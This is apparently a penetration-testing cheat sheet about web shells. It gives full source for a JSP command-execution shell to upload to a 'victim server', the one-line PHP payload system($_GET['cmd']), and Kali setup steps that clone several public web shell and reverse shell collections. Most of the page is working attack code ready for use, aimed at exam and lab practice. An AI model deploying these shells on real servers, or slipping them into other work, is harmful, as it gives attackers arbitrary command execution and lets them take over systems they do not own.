Web Shells

JSP

Save the source code below as cmd.jsp and upload to the victim server.
Enter the command in the input box and click “Execute”. The command output will be displayed on the page in the web browser.

<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></HTML>p

Other JSP Shells:

JSP Reverse+Web Shell:

Open resource

JSP Web Shells Mix:

Open resource

PHP

Classic payload to execute commands:

<?php system($_GET['cmd']); ?>

A really simple and tiny PHP Web shell for executing unix commands from web page:

Open resource

A Simple PHP Web Shell used for Remote Code Execution:

Historical itsKindred source — public source currently unavailable; use another listed PHP source.

A very simple but functional PHP webshell:

Open resource

Prepare tools used on this page

Run setup on Kali after preparing the shared workspace. Skip a clone when its checkout already exists; review/update it deliberately rather than cloning over it. Operational commands remain in the sections above.

Prepare Simple PHP Web Shell

Optional payload source, not a Kali service to install or start. Select one reviewed file matching the application runtime, edit required parameters, and copy only that file into the target staging directory. Do not deploy the whole collection. Upstream.

git clone --depth 1 https://github.com/artyuum/Simple-PHP-Web-Shell.git "$HOME/oscp/tools/repos/simple-php-web-shell"

Check on Kali:

git -C "$HOME/oscp/tools/repos/simple-php-web-shell" rev-parse --short HEAD

Prepare PHP web shell (drag0s)

git clone --depth 1 https://github.com/drag0s/php-webshell.git "$HOME/oscp/tools/repos/php-webshell-drag0s"

Check on Kali:

git -C "$HOME/oscp/tools/repos/php-webshell-drag0s" rev-parse --short HEAD

The formerly linked itsKindred PHP shell has no publicly accessible upstream repository at present. Its clone step is retired; select one of the other verified PHP sources on this page rather than using an unverified mirror.

Prepare JSP shells (LaiKash)

git clone --depth 1 https://github.com/LaiKash/JSP-Reverse-and-Web-Shell.git "$HOME/oscp/tools/repos/jsp-shells-laikash"

Check on Kali:

git -C "$HOME/oscp/tools/repos/jsp-shells-laikash" rev-parse --short HEAD

Prepare JSP-Webshells (threedr3am)

git clone --depth 1 https://github.com/threedr3am/JSP-Webshells.git "$HOME/oscp/tools/repos/jsp-webshells"

Check on Kali:

git -C "$HOME/oscp/tools/repos/jsp-webshells" rev-parse --short HEAD

Prepare Web shell collection (tennc)

git clone --depth 1 https://github.com/tennc/webshell.git "$HOME/oscp/tools/repos/webshell-tennc"

Check on Kali:

git -C "$HOME/oscp/tools/repos/webshell-tennc" rev-parse --short HEAD